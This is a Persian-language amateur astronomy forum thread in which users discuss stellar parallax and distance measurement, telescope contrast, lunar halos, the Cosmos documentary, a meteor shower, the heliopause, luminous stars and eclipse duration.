3- راه دیگه استفاده از ستاره های شاخص فاصله است. مثلا ستاره های متغیر قیفاووسی این ویژگی رو دارند که قدر مطلقشون با دوره تناوبشون رابطه ی خاصی داره. با اندازه گیری دوره تناوب میتونیم قدر مطلق رو بدست بیاریم و قدر ظاهری رو هم اندازه میگیریم و فاصله ی قیفاووسی از ما بدست میاد و میتونیم بفهمیم ستاره های دیگه ای که توی همون کهکشان هستند حدودا در چه فاصله ای از ما قرار دارند.

4- اندازه گیری انتقال به سرخ در طیف ستاره و استفاده از قانون هابل هم راه دیگه ای برای تعیین فاصله است.

و راه های دیگر.... :have a nice day:

[مداد رنگیهام]

خیلی ممنون :)
میشه روش بیس لاین رو با شکل توضیح بدین؟:)
فکر کنم هر قدر که ستارمون دورتر باشه تفاوت زاویه ای اختلاف منظر کمتر میشه و اگر بخوایم با مثلثات فاصله رو بدست بیاریم خطای اندازه گیری بیشتر میشه...درسته؟
دقیق ترین روش موجود کدومه؟:)

[fatemeh.zar]

http://up.avastarco.com/images/2230bmik5tezy5uvk68.jpg (http://up.avastarco.com/)
منبع:An introduction to modern astrophysics-Carroll-Ostile

http://up.avastarco.com/images/fohcexqao9jsjukdhpje.jpg (http://up.avastarco.com/)
منبع:Astrophysics is easy-Inglis

با استفاده از مثلثات داریم:
d=b/tan p
که در آن d فاصله ستاره و b نصف طول بیس لاین است.

معمولا چون زوایای اختلاف منظر ستاره ها خیلی کوچیکه (در حدود ثانیه قوسی و کمتر) میان از تقریب زوایای کوچک استفاده می کنن و تانژانتp رو برابر با p قرار میدن. (بر حسب رادیان)
d=b/p

برای روشی که در آن دو بار و با فاصله شش ماه ستاره را رصد میکنند، طول بیس لاین برابر با قطر مداری زمین و در نتیجهb برابر با شعاع مداری زمین یا 11^ 10 *1.5متر است.
با توجه به این که هر رادیان 206265 ثانیه قوسی است داریم:

d=1.5 * 10^11 /(p/206265)

d=1.5 *10^11 *205265/p

که در آن ها p بر جسب ثانیه قوسی است. (همان واحدی که معمولا زوایای اختلاف منظر از آن مرتبه هستند)

در اینجا واحدی برای طول تعریف می کنند به نام پارسک که برابر است با:
1pc=206265*1.5*10^11m

یک پارسک فاصله ایست که اگر ستاره ای در آن فاصله باشد، زاویه اختلاف منظر آن یک ثانیه قوسی می شود.

بنابراین برای فاصله ستاره بر حسب پارسک این رابطه برقرار است:
d=1/p
که در آن p برحسب ثانیه قوسی است.

و اما خطا! تا جایی که من میدونم اختلاف منظر دقیقترین روش اندازه گیری فاصله ستاره هاست ولی خب بخاطر محدودیت هایی که داره مجبوریم از روش های دیگه هم استفاده کنیم. زاویه اختلاف منظر ستاره های خیلی دور اونقدر کوچیک میشه که برای ما قابل تفکیک نیست و این روش عملا غیر قابل استفاده میشه.

کلن توی اندازه گیری فاصله ستاره ها بین 10 تا 25 درصد خطا داریم که گاهی به 50 درصد هم میرسه!!!
اما این که هرچی ستاره دورتر باشه خطامون بیشتره رو مطمئن نیستم! خطا از اونجایی وارد بحث میشه که ما توی اندازه گیری زاویه خطا داریم. و فک نمی کنم این خطا برای ستاره های دور و نزدیک تفاوتی بکنه. :smile:

[مداد رنگیهام]

ممنون ازتون :)
منظورم از خطا این بود که مثلا اگه ابزارمون بتونه زاویه را با دقت 0.1 درجه اندازه گیری کنه ما دو ستاره که زاویه اختلاف منظرشون مثلا 30.15 و 30.19 درجه هست رو یکی به حساب میاریم حالا هر چه قدر که ستاره دورتر باشه وقتی میایم فاصله رو ازکوسینوس زاویه p حساب میکنیم اختلاف فاصله محاسبه شده با فاصله واقعی بیشتر میشه...

درسته؟به خاطر همین فکر کنم هر چه قدر جسممون دور تر باشه دقت اندازه گیریمون تو این روش کمتر میشه...:)

[fatemeh.zar]

ممنون ازتون :)
منظورم از خطا این بود که مثلا اگه ابزارمون بتونه زاویه را با دقت 0.1 درجه اندازه گیری کنه ما دو ستاره که زاویه اختلاف منظرشون مثلا 30.15 و 30.19 درجه هست رو یکی به حساب میاریم حالا هر چه قدر که ستاره دورتر باشه وقتی میایم فاصله رو ازکوسینوس زاویه p حساب میکنیم اختلاف فاصله محاسبه شده با فاصله واقعی بیشتر میشه...

درسته؟به خاطر همین فکر کنم هر چه قدر جسممون دور تر باشه دقت اندازه گیریمون تو این روش کمتر میشه...:)

خب، بنظر من نه لزوما!!!
مثلا ستاره ای که زاویه اختلاف منظرش 30.20 درجه باشه(خواستم مثالام شبیه شما باشه. ولی آخه زاویه اختلاف منظر 30 درجه؟؟؟؟؟؟؟؟ معمولا این زاویه ها در مرتبه دهم ثانیه قوسی هستند، یعنی یک سی و شش هزارم درجه!) از ستاره با اختلاف منظر 30.19 دورتره اما خطای اندازه گیریش هم کمتره :)

[Ehsan]

البته این صحیحه که هر چی فاصله بیشتر باشه دقتِ این روش میاد پایین، دورترین ستاره هایی که تونستن ازش اختلاف منظر آشکار کنن فاصله ای حدود 1600 سال نوری داشتند که در مقایسه با ابعاد 100 هزار سالِ نوری راهِ شیری بسیار کوچکه و از این فاصله به بعد واقعا اختلاف منظر جواب نمیده.


این رو هم بگم که روشِ هابل واقعا روشِ اندازه گیری به اون معنی نمیشه حسابش کرد، اتفاقا یکی از روشهای اندازه گیری شتابِ انبساطِ کیهان، رصدِ انحرافِ نمودارِ سرعت-فاصله ی کهکشانها با قانونِ هابل هستش که به ما میگه فاصله ای که قانون ِ هابل به دست میده همیشه صحیح نیست.

اینجا چند روشِ فاصله سنجی شرح داده شده:

http://forum.avastarco.com/forum/showthread.php?1217-%D8%AF%D8%B1%D8%B3-%D9%87%D9%81%D8%AA%D9%85-%D8%A7%D8%AE%D8%AA%D8%B1%D8%B3%D9%86%D8%AC%DB%8C

[مداد رنگیهام]

خب، بنظر من نه لزوما!!!
مثلا ستاره ای که زاویه اختلاف منظرش 30.20 درجه باشه(خواستم مثالام شبیه شما باشه. ولی آخه زاویه اختلاف منظر 30 درجه؟؟؟؟؟؟؟؟ معمولا این زاویه ها در مرتبه دهم ثانیه قوسی هستند، یعنی یک سی و شش هزارم درجه!) از ستاره با اختلاف منظر 30.19 دورتره اما خطای اندازه گیریش هم کمتره :)

نه دیگه ! :) هر چه قدر که جسم دورتر بشه زاویه p بسته تر میشه تا جایی که برای اجسام خیلی دور زاویه به صفر میل میکنه و اون موقع است که این روش کار نمیکنه(30.2ستاره نزدیکتر از 30.19 هست) ولی منظورتون رو متوجه شدم ، مسلما برای زاویه هایی که مضرب صحیح از کوچکترین واحد اندازه گیریمون باشه حرف شما صحیحه و دقت اندازه گیری بیشتر از مضارب اعشاری اون هست :)

[رضا طامهری]

سلام به دوستان گرامی

مطالب جسته و گریخته ای در مورد یه هنگ اوت جدید گوگل شنیدم بنام cosmos: spacetime odyssey

از دوستان گرامی کسی میدونه دقیقا موضوع از چه قراره؟

[|Alireza|]

سلام به دوستان گرامی

مطالب جسته و گریخته ای در مورد یه هنگ اوت جدید گوگل شنیدم بنام cosmos: spacetime odyssey

از دوستان گرامی کسی میدونه دقیقا موضوع از چه قراره؟
سلام آقای طامهری :)

اگر منظورتون رو درست متوجه شده باشم، در مورد مستند cosmos: spacetime odyssey می فرمایید.

من هم زیاد در مورد این مستند اطلاعاتی ندارم،اما مطلبی رو داشتم از وبگاه کانوت در این مورد،امیدوارم مفید باشه.:)

فکر می کنم قسمت اولش هم امشب پخش میشه :)

از وبگاه کانوت:

بسیاری از علاقه‌مندان نجوم، با مجموعه‌ی تلویزیونی کاسموس (کیهان) و مجری توانمند آن، کارل ساگان به‌خوبی آشنا هستند. این مجموعه برای نخستین بر در سال ۱۹۸۰ در تلویزیون‌های آمریکا پخش شد و تا مدت زمانی طولانی رکورد پربیننده‌ترین مجموعه‌ی علمی تاریخ آمریکا را ازآن خود کرده بود. علاوه بر این پس مدت کوتاهی این برنامه به پخش بین‌المللی رسید و میهمان ۶۰ کشور مختلف و ۷۵۰ میلیون بییننده در سراسر جهان بود.
ساگان در این مجموعه‌ی تلویزیونی با زبانی ساده و عامه‌فهم به توضیح و تبیین موضوعات و معماهای نجومی می‌پرداخت و هر بار ببیننده را به با ماشین زمان خود طی سفری دور و دراز از زمین و منظومه‌ی شمسی گرفته تا اعماق کیهان همراهی می‌کرد. اما با مرگ کارل ساگان در سال ۱۹۹۶ این مجموعه نیز پایان یافت.

آنی درویان، بیوه ی ساگان که در پشت صحنه‌ی این مجموعه همکاری می‌کرد همواره در فکر این بود که این مجموعه دوباره از سر گرفته شود و به همان قوت بتوانند مخاطبان سراسر دنیا را جذب خود کند. به این ترتیب ایده‌ی خود را با یکی از مشهورترین اخترفیزیکدانان جهان یعنی نیل دیگرس تایسون و تهیه‌کننده‌ی مجموعه‌ی پیشین، استیون ساتر که از قضا او هم اخترفیزیکدان است مطرح می‌کند. تایسون، درویان را با یکی از انیماتورهای مشهور هالیود به نام سث مک فارلن آشنا می‌کند که بعدها از طریق وی موفق شد با مدیران شبکه‌ی شناخته‌شده‌ی فاکس دیدار و گفت‌وگو کند. پس از بحث و گقت‌وگوهای فراوان سرانجام درویان با شبکه‌ی فاکس به نتیجه رسید و قرار شد این مجموعه با مجری‌گری نیل تایسون و کارگردانی دیوید ساموئل در اوایل سال ۲۰۱۴ میلادی هم‌زمان در دو شبکه‌ی فاکس و نشنال جئوگرافی به نمایش دربیاید. صاحب‌امتیاز و پدیدآورندگان این مجموعه‌ی جدید نیز آنی درویان و استیون ساتر خواهند بود.

این مجموعه در ۱۳ قسمت ۶۰ دقیقه‌ای تولید خواهد شد و نام کامل آن : «کیهان : سفری ماجراجویانه در فضا-زمان» است. نام پیشین که ساگان مجری‌گری آن را برعهده داشت «کیهان: سفری شخصی» بود. در زمان ساگان فناوری انیمیشن تا به این حد پیشرفته نکرده بود و البته بسیاری از رازهای کیهان مانند انرژی تاریک همچنان سربه مهر باقی مانده بود. اکنون تایسون اطلاعات تروتازه و فناوری‌ای به مراتب پیشرفته‌تر در اختیار دارد. بنابراین انتظار می‌رود با توجه به شخصیت محبوبی که دارد این مجموعه را به یکی از مجموعه‌های علمی پرمخاطب جهان تبدیل کنداین هم صفحه ی مستند در سایت National Geographic

http://natgeotv.com/uk/cosmos-a-spacetime-odyssey

و صفحه ی مستند در سایت IMDB و Wikipedia:

http://www.imdb.com/title/tt2395695/
http://en.wikipedia.org/wiki/Cosmos:_A_Space-Time_Odyssey

[M.FIREDRAGON]

سلام ببخشید این هاله نوره دور ماه رو شما هم میبینید؟؟؟؟؟؟
میشه یکی بگه چیه؟؟؟؟؟؟

[cosmologist]

سلام ببخشید این هاله نوره دور ماه رو شما هم میبینید؟؟؟؟؟؟
میشه یکی بگه چیه؟؟؟؟؟؟
سلام
بهش میگن خرمن ماه که به دلیل شکست نور ماه در جو اینطور دیده میشه.
(فکر کنم بهش حلقه بیشاپ هم میگن)

[ali zeynali]

سلام
بهش میگن خرمن ماه که به دلیل شکست نور ماه در جو اینطور دیده میشه.
(فکر کنم بهش حلقه بیشاپ هم میگن)
البته فکر کنم خرمن ماه توی محیط های خیلی مرطوب و یا توی هوای مه آلود بوجود می‌آید. چیزی نیست که همیشه وجود داشته باشه مثل خرمن خورشید هست (sundog)

[gshahali]

سلام ببخشید این هاله نوره دور ماه رو شما هم میبینید؟؟؟؟؟؟
میشه یکی بگه چیه؟؟؟؟؟؟

سلام دوست عزیز
توجهتان را به مطلب زیر از کتاب مبانی ستاره شناسی صفحه 179 جلب میکنم (البته امیدوارم منظورتان را درست متوجه شده باشم):

«یک هاله (Halo) زمانی پیش میآید که نور ماه یا خورشید از کریستالهای یخ موجود در جو منعکس شود. رایجترین هاله، کمان یا دایره ای 22 درجه ای اطراف ماه یا خورشید میباشد. معمولاً هاله به رنگ سفید است، اما گاهی رنگهای روشن را نیز میتوان دید. یک شکل رایج دیگر، لُبهای کناری (Side Lobes) است که در ارتفاع خورشید، ولی با فاصله 22 درجه از آن قرار دارد. دیگر شکلهای هاله چندان رایج نمیباشد. بهترین آب و هوا برای هاله زمانی است که ابرهای پرسا (Cirrus)، پرساپوشنی (Cirrostratus)، یا یک مه یخی در آسمان وجود دارد.»

http://upload.wikimedia.org/wikipedia/commons/thumb/3/35/Moon_dogs.jpg/800px-Moon_dogs.jpg

[Pooya_lutl]

سلام دوستان یه سوال داشتم:
چطوری فاصله ی یک ستاره رو از زمین حساب میکنن؟ و ابعاد اون رو در میارن؟

[مداد رنگیهام]

سلام دوستان یه سوال داشتم:
چطوری فاصله ی یک ستاره رو از زمین حساب میکنن؟ و ابعاد اون رو در میارن؟

سلام دوست عزیز
برای محاسبه فاصله ستاره ها و سایر اجرام کیهانی از زمین روش های متعددی وجود داره از جمله روش اختلاف منظر و استفاده از شمع های استاندارد کیهانی که میتونید این صفحه (http://forum.avastarco.com/forum/showthread.php?1217-%D8%AF%D8%B1%D8%B3-%D9%87%D9%81%D8%AA%D9%85-%D8%A7%D8%AE%D8%AA%D8%B1%D8%B3%D9%86%D8%AC%DB%8C&p=46666&viewfull=1#post46666)رو مطالعه کنید

در مورد محاسبه اندازه ستاره هم روش مختلفی وجود داره از جمله استفاده از قانون استفان-بولتزمن و همینطور استفاده از روش اخفا توسط ماه، برای مثال در روش اخفا توسط ماه مدت زمان اخفای ستاره رو اندازه میگیرن هر قدر که ستاره بزرگتر باشه میزان زمان اخفا هم بیشتر میشه به این ترتیب قطر زاویه ای ستاره رو محاسبه میکنن بعد با روش اختلاف منظر فاصله ستاره رو بدست میارن و در نهایت با داشتن فاصله و قطر زاویه ای قطر واقعی رو محاسبه میکنن البته این روش برای ستاره هایی که خیلی از زمین دور نباشند قابل محاسبه هست و برای ستاره های دورتر از روش های دیگه ای باید استفاده کرد

[مداد رنگیهام]

دوستان بی زحمت این جمله رو برام توضیح میدین:

"ستارگان دوتایی در اخترفیزیک بسیار مهم هستند زیرا مدار آنها جرمشان را مشخص می‌کند (ویکیپدیا) (http://fa.wikipedia.org/wiki/%D8%B3%D8%AA%D8%A7%D8%B1%D9%87_%D8%AF%D9%88%D8%AA% D8%A7%DB%8C%DB%8C)"

یعنی از روی مدار میشه مجموع جرم رو حساب کرد؟آیا برای مجموع جرم مشخص فقط یک مدار وجود داره؟آیا بین جرم دوستاره در مجموعه دوتایی و فاصلشون از هم رابطه ای وجود داره؟
ممنون:)

[kkk]

دوستان بی زحمت این جمله رو برام توضیح میدین:

"ستارگان دوتایی در اخترفیزیک بسیار مهم هستند زیرا مدار آنها جرمشان را مشخص می‌کند (ویکیپدیا) (http://fa.wikipedia.org/wiki/%D8%B3%D8%AA%D8%A7%D8%B1%D9%87_%D8%AF%D9%88%D8%AA% D8%A7%DB%8C%DB%8C)"

یعنی از روی مدار میشه مجموع جرم رو حساب کرد؟آیا برای مجموع جرم مشخص فقط یک مدار وجود داره؟آیا بین جرم دوستاره در مجموعه دوتایی و فاصلشون از هم رابطه ای وجود داره؟
ممنون:)
اگر معادلات مربوطه نوشته شوند به راحتی این موضوع مشاهده میشود ، ، ولی درک این موضوع به سادگی میسر میشود ، دو ستاره هم جرم در نظر بگیرید ، در این حالت نسبت شعاع چرخش حول مرکز جرم 1 است ومدارها دایره ای . از طرفی منظومه شمسی خودمان را با نسبت جرمی بسیر بزرگتر در نظر بگیرید ، نسبت شعاع چرخش(نیم قطر اطول)خورشید و سیاره به قدری بزرگ شده که انگار سیارات دور خورشید میگردند . در واقع این موضوع که مرکز جرم به جسم سنگین تر به صورت متوسط نزدیکتره طرح کلی محاسبه نسبت جرم ها از روی مدار هست .
قابل سنجش بین دو ستاره در حالت بیشینه و همچنین جابجایی دوپلری یشینه میتونه محاسبه بشه .مدار هم که با وجود فاصله

[zanbaq]

سئوال زمان شروع طوفان شهابی دنباله دار لینیر در سوم خرداد امسال در ایران چه ساعتی خواهد بود ؟؟؟؟ و از انجا که از سمت صورت فلکی زرافه هست ارتفاع از افق این صورت فلکی در سوم خرداد و زمان بارش شهابی چقدر است ؟؟؟؟ و این صورت فلکی در چه زاویه ای است ؟؟؟ و صورت فلکی زرافه در سوم خرداد در چه ساعتی در ایران در شمال شرق دیده میشود ؟؟؟؟

[fatemeh.zar]

چرا از پشت تلسکوپ زمینه ی آسمون تاریکتر دیده میشه؟

[رضا طامهری]

چرا از پشت تلسکوپ زمینه ی آسمون تاریکتر دیده میشه؟

سلام
در وهله اول باید بگم میزان نمود الودگی نوری در تلسکوپ بستگی به دهانه داره؛ در حدی که نمیشه با یه تلسکوپ ۱۲ اینچ توی شهر با الودگی نوری بالا خیلی توقع بالایی داشت!!

و در وهله دوم علت میدان دید در تلسکوپ هست! شما به منطقه بسیار کوچکتری نسبت به چشمتون در تلسکوپ نگاه میکنید و خود میدان دید این مورد رو باعث میشه

[fatemeh.zar]

سلام
در وهله اول باید بگم میزان نمود الودگی نوری در تلسکوپ بستگی به دهانه داره؛ در حدی که نمیشه با یه تلسکوپ ۱۲ اینچ توی شهر با الودگی نوری بالا خیلی توقع بالایی داشت!!

و در وهله دوم علت میدان دید در تلسکوپ هست! شما به منطقه بسیار کوچکتری نسبت به چشمتون در تلسکوپ نگاه میکنید و خود میدان دید این مورد رو باعث میشه

یعنی اگه من یه استوانه مقوایی بگیرم جلوی چشمم که دهانه ای و در نتیجه میدان دیدی مثل تلسکوپ داشته باشه، زمینه ی آسمون مثل حالتی که تو تلسکوپ دیده میشه، میشه؟

[رضا طامهری]

یعنی اگه من یه استوانه مقوایی بگیرم جلوی چشمم که دهانه ای و در نتیجه میدان دیدی مثل تلسکوپ داشته باشه، زمینه ی آسمون مثل حالتی که تو تلسکوپ دیده میشه، میشه؟

دوست کرامی توی استوانه که شما برگزرگنمایی ندارین!!
شما ی چشمی با فاصله کانونی بالا(بزرگنمایی کم و میدان دید بالا) بذارید خیلی تاثیر الودگی نوری رو بیشتر میبینید در عرصه اسمان
البته تاثیر الودگی نوری در بزرگنمایی های خیلی بالاهم روی کیفیت تصویر اثر میذاره

[fatemeh.zar]

چجوری بزرگنمایی زیاد آلودگی نوری رو کم میکنه؟؟ (در میدان دید های یکسان)

[mohsen4465]

چرا از پشت تلسکوپ زمینه ی آسمون تاریکتر دیده میشه؟ بزرگنمایی تلسکوپ موجب کم شدن روشنایی تصویر میشه. درسته؟ اینطور تصور کنید که همون میزان نور بجای اینکه روی مثلاً 1 ثانیه قوس پخش بشه بعد از افزایش بزرگنمایی روی سطحی بمراتب بزرگتر باید پخش بشه. در نتیجه تصویر کم نورتر میشه. اما نکته جالبی که اینجا وجود داره اینه که در مورد اجسام نقطه‌ای مثل یک ستاره بزرگنمایی تأثیر خاصی روی اندازه ظاهری ستاره نمیذاره و ستاره همچنان بصورت نقطه ای دیده میشه. نتیجه اینکه با افزایش بزرگنمایی روشنایی ستاره ثابت میمونه ولی برعکس روشنایی زمینه آسمون کمتر میشه. بنابراین کنتراست افزایش پیدا میکنه.

بجز برزگنمایی عامل دیگه ای هم همین تأثیر رو بصورت عکس میذاره و اون اندازه دهانه تلسکوپه. دهانه تلسکوپ هر چقدر که بزرگتر باشه نور بیشتری رو جمع میکنه. در خصوص زمینه آسمون این نور اضافی تو کل میدان دید بخش میشه اما در خصوص اون ستاره افزایش نور تماماً روی یک نقطه اثر میذاره. بنابراین باز هم کنتراست افزایش پیدا میکنه. بنابراین اگه شما دوتا عامل رو با هم ترکیب کنید (دهانه بزرگ+بزرگنمایی زیاد) اونوقت کنتراست اونقدر زیاد میشه که حتی تو روشنایی قبل از طلوع وقتی بداخل چشمی نگاه میکنید آسمون رو تاریک میبینید.

[zanbaq]

صورت فلکی زرافه در سوم خرداد زمان شروع بارش شهابی دنباله دار لینیر در ایران در شمال شرق اسمان است ؟؟؟؟؟؟؟/

[رضا طامهری]

صورت فلکی زرافه در سوم خرداد زمان شروع بارش شهابی دنباله دار لینیر در ایران در شمال شرق اسمان است ؟؟؟؟؟؟؟/

سلام دوست گرامی

صورت فلکی زرافه (camelopardalis) یک صورت فلکی دور قطبی است مشخصا در اسمان حضور دارد. اما نکته در مورد این بارش شهابی که خیلی از محافل نجومی به آن پرداخته اند و آن را یکی از پربارش ترینها در چند سال اخیر میدانند، این است که اوج بارش در زمانی اتفاق می افتد که در ایران روز است و این بارش در بهترین شرایط خود در آمریکای شمالی قابل روئیت خواهد بود

[zanbaq]

سلام دوست گرامی

صورت فلکی زرافه (camelopardalis) یک صورت فلکی دور قطبی است مشخصا در اسمان حضور دارد. اما نکته در مورد این بارش شهابی که خیلی از محافل نجومی به آن پرداخته اند و آن را یکی از پربارش ترینها در چند سال اخیر میدانند، این است که اوج بارش در زمانی اتفاق می افتد که در ایران روز است و این بارش در بهترین شرایط خود در آمریکای شمالی قابل روئیت خواهد بود

در امریکا در ساعات 7 تا 8 یو تی سی(نیمه شب به وقت امریکا ) اوج بارشها است در ایران در چه ساعتی رخ میده ؟یعنی همه مناطق کره زمین همزمان بارشها را میبینند

[رضا طامهری]

در امریکا در ساعات 7 تا 8 یو تی سی(نیمه شب به وقت امریکا ) اوج بارشها است در ایران در چه ساعتی رخ میده ؟یعنی همه مناطق کره زمین همزمان بارشها را میبینند

اوج بارش هنگامی اتفاق میفته که زمین از گره شهابی رد بشه... گره شهابی اصطلاحا به توده از شهابهای بجا مونده از دنباله دار اطلاق میشه که در نقطه ای خاص از مدار زمین جا موندن

پس زمان اوج بارش وقتی اتفاق میفته که زمین از اون کره رد میشه و به بدشانسی ما تو روزه و به خوش شانسی مردمان نیم کره غربی تو شب...

البته احتمالا بقایایی از اون رو در اوایل شب بشه دید

[2215]

سلام به دوستان عزیز
دوستان انتهای منظومه شمسی انتهای ابر اورت می باشه؟ یه چیزی به نام منطقه هلیوپاز شنیدم ولی درباره اش مطمئن نیستم میشه در باره اون توضیح بدید و اینکه جزو منظومه شمسی هست یا خیر؟
ممنون

[رضا طامهری]

سلام به دوستان عزیز
دوستان انتهای منظومه شمسی انتهای ابر اورت می باشه؟ یه چیزی به نام منطقه هلیوپاز شنیدم ولی درباره اش مطمئن نیستم میشه در باره اون توضیح بدید و اینکه جزو منظومه شمسی هست یا خیر؟
ممنون

سلام دوست گرامی

مرزهای منظومه شمسی را از طرق مختلفی مشخص میکنند.. یکی از این روشها محدوده تاثیر بادهای خورشیدی است

وزش جریان بادهای خورشیدی در برابر مواد میان ستاره ای در محیط اطراف خورشید یک حباب پاک و تمیز ایجادمی نماید که منظومه شمسی و متعلقاتش در درون آن قراردارند. این حباب هلیوپاز نام دارد
دانشمندان معتقدند که نزدیک ترین بخشهای هلیوسفر دستکم AU90 (برابر با 13.5میلیارد کیلومتر) از مرکز منظومه شمسی فاصله دارد،یعنی چیزی در حدود 2.5 تا 3 برابر فاصله میان خورشید و پلوتو.

http://admin.khabaronline.ir/images/2013/9/13-9-13-6155heliopause.jpg

[2215]

ممنون از پاسختون
لطفا ببینید درست متوجه شدم!
در فضای بین ستاره ای بعد از عبور از مرزهای منظومه شمسی، ما به هلیوسفر میرسیم!
مرزهای منظومه شمسی ما تا 13.5 میلیارد کیلومتر گسترده شده است. و کره زمین ما درواقع جزئی از منطقه ی هلیوپاز است!
درسته؟

[SAEED560]

ممنون از پاسختون
لطفا ببینید درست متوجه شدم!
در فضای بین ستاره ای بعد از عبور از مرزهای منظومه شمسی، ما به هلیوسفر میرسیم!
مرزهای منظومه شمسی ما تا 13.5 میلیارد کیلومتر گسترده شده است. و کره زمین ما درواقع جزئی از منطقه ی هلیوپاز است!
درسته؟

سلام


الته این مرز نمی تونه مرز نور خورشید یا مرز گرانشی خورشید باشه زیرا نور خورشید در مسیر عبوری خودش در فضا با جرمهای مختلف برخورد و جذب می شود و اما گرانش هم نمی تونه باشه و این نیرو کم کم کمتر ولی تا بی کران ادامه داره . فقط همین باد های خورشیدی می مونه که با انفجار های خورشیدی و نیروی مغناطیسی اون به وجود میاد . این ذرات باردار با سرعت بسیار بالایی به خارج از منظومه هدایت میشن و از اونجایی که گرمایی بالایی در بین این ذرات وجود داره و فضای بین ستاره ایی فوق العاده سرد است یک حباب به وجود میاد که این حباب به نام هلیوپاز معروف شده .

[Neptune]

یه سوال ذهنمو مشغول کرده.
از بین تمام ستاره هایی که در آسمون با چشم غیر مسلح دیده میشن کدومشون بالاترین قدر مطلق رو دارن ؟

[Mostafa]

یه سوال ذهنمو مشغول کرده.
از بین تمام ستاره هایی که در آسمون با چشم غیر مسلح دیده میشن کدومشون بالاترین قدر مطلق رو دارن ؟

سلام دوست گرامي

با توجه به اينكه در مفهوم قدر مطلق ، فواصل ستارگان مساوي در نظر گرفته مي شود ( 10 پارسك ) ، ميشه گفت كه هر ستاره اي كه بيشترين درخشندگي ( Luminosity ) رو داشته باشه ، در نتيجه بيشترين قدر مطلق رو داره .

با سرچي كه من انجام دادم ، ظاهرآ بيشترين درخشندگي ثبت شده مربوط به ستاره اي به نام R136a1 در ابر ماژلاني بزرگ است كه قدر مطلق بولومتريك اون 6/12- است . ولي البته قدر ظاهريش تقريبآ مثبتِ همين مقدار است !!!

اما چون سوال شما در مورد ستارگاني بود كه با چشم غير مسلح قابل مشاهده باشند ، ستاره متغير اتا - كارينا ، با قدر مطلق بولومتريك 12- و مينيمم قدر ظاهري 8/0- ، پاسخ سوال شما است :)

( البته اگر منظورتون از بالا ترين قدر مطلق ، منفي ترين قدر مطلق و بيشترين درخشندگي باشه ! :15: )

پيشنهاد مي كنم براي اطلاعات بيشتر لينك زير رو مطالعه كنيد :

List of most luminous known stars (http://en.wikipedia.org/wiki/List_of_most_luminous_known_stars)

موفق باشيد ;)

[Neptune]

سلام دوست گرامي

با توجه به اينكه در مفهوم قدر مطلق ، فواصل ستارگان مساوي در نظر گرفته مي شود ( 10 پارسك ) ، ميشه گفت كه هر ستاره اي كه بيشترين درخشندگي ( Luminosity ) رو داشته باشه ، در نتيجه بيشترين قدر مطلق رو داره .

با سرچي كه من انجام دادم ، ظاهرآ بيشترين درخشندگي ثبت شده مربوط به ستاره اي به نام R136a1 در ابر ماژلاني بزرگ است كه قدر مطلق بولومتريك اون 6/12- است . ولي البته قدر ظاهريش تقريبآ مثبتِ همين مقدار است !!!

اما چون سوال شما در مورد ستارگاني بود كه با چشم غير مسلح قابل مشاهده باشند ، ستاره متغير اتا - كارينا ، با قدر مطلق بولومتريك 12- و مينيمم قدر ظاهري 8/0- ، پاسخ سوال شما است :)

( البته اگر منظورتون از بالا ترين قدر مطلق ، منفي ترين قدر مطلق و بيشترين درخشندگي باشه ! :15: )

پيشنهاد مي كنم براي اطلاعات بيشتر لينك زير رو مطالعه كنيد :

List of most luminous known stars (http://en.wikipedia.org/wiki/List_of_most_luminous_known_stars)

موفق باشيد ;)

ممنون بابت پاسختون
البته اوج درخشندگی اتاکارینا مربوط به زمانی هست که دچار رویداد شبه ابرنواختری شد و الان با چشم غیرمسلح قابل دیدن نیست و قدر مطلق فعلیش منفی 7 هستش.
من یه جستجویی بین همه ستاره هایی که قابل دیدن با چشم هستن کردم تا الان ستاره رو ذات الکرسی ( <bdi dir="ltr" lang="en">Rho Cassiopeiae</bdi>) با قدر مطلق منفی 9.5 بالاترین قدر مطلقو داشته و با بیش از 11500 سال نوری فاصله دورترین ستاره ای هست که بدون تلسکوپ دیده میشه. حالا نمیدونم ستاره دیگه ای هم هست که قدر مطلق بیشتری داره یا نه

[gshahali]

سلام دوستان
باید در نظر داشت که در واحد اندازه‌گیری قدر، هر شیء سماوی که درخشانتر است، قدر کوچکتری دارد. در جدول زیر این ویژگی با مقایسۀ چند جسم نشان داده شده است (البته در قدر ظاهری و نه قدر مطلق):
http://up.avastarco.com/images/nwzfxyk7we70ox4fzvgf.jpg

[fatemeh.zar]

سلام
یک جایی خواندم که حداکثر زمان کسوف هفت دقیقه است. میخوام ببینم مهمترین عاملی که باعثش میشه چیه؟ چرخش زمین به دور خودش، گردش ماه به دور زمین یا گردش زمین به دور خورشید؟؟
اگر کسی اثباتش رو هم بلده ممنون میشم بگه:)

[شعری]

سلام
*
*
فکر می کنم وقتی زمین در اوج خورشیدی ( یعنی دورترین فاصله نسبت به خورشید ) و ماه در حضیض زمینی ( یعنی در نزدیکترین فاصله به زمین ) باشه اگر پدیده ی کسوف رخ بده طولانی ترین گرفت خواهدبود
*
*
تصورش راحته ولی اثباتشو بلد نیستم :)

[fatemeh.zar]

سلام
*
*
فکر می کنم وقتی زمین در اوج خورشیدی ( یعنی دورترین فاصله نسبت به خورشید ) و ماه در حضیض زمینی ( یعنی در نزدیکترین فاصله به زمین ) باشه اگر پدیده ی کسوف رخ بده طولانی ترین گرفت خواهدبود
*
*
تصورش راحته ولی اثباتشو بلد نیستم :)

سلام!
بله درست می فرمایید، اما من میخام بدونم کدوم عامل باعث میشه نتونیم کسوفی بلندتر داشته باشیم.
خیلی ممنون:)

[Ehsan]

سلام!
بله درست می فرمایید، اما من میخام بدونم کدوم عامل باعث میشه نتونیم کسوفی بلندتر داشته باشیم.
خیلی ممنون:)

این که بالاخره سرعتِ ماه در آسمان از حدی کمتر نمیشه، بنا بر این کسوف هم از حدی بلندتر نمیشه

[berjis93]

سلام
*
*
فکر می کنم وقتی زمین در اوج خورشیدی ( یعنی دورترین فاصله نسبت به خورشید ) و ماه در حضیض زمینی ( یعنی در نزدیکترین فاصله به زمین ) باشه اگر پدیده ی کسوف رخ بده طولانی ترین گرفت خواهدبود [/COLOR][/B]
اگه ماه تو حضیض زمینیش باشه سرعت حرکتش بیشتر از زمانیه که تو اوجه پس مطمئنا باید کسوف کوتاه تر از زمانی باشه که ماه تو اوجه...درسته؟

[fatemeh.zar]

این که بالاخره سرعتِ ماه در آسمان از حدی کمتر نمیشه، بنا بر این کسوف هم از حدی بلندتر نمیشه
کاملا درست میفرمایید. خب توی این سرعت ظاهری ماه کدوم عامل مهمتره؟ حرکت وضعی زمین، حرکت انتقالی زمین یا حرکت ماه به دور زمین؟
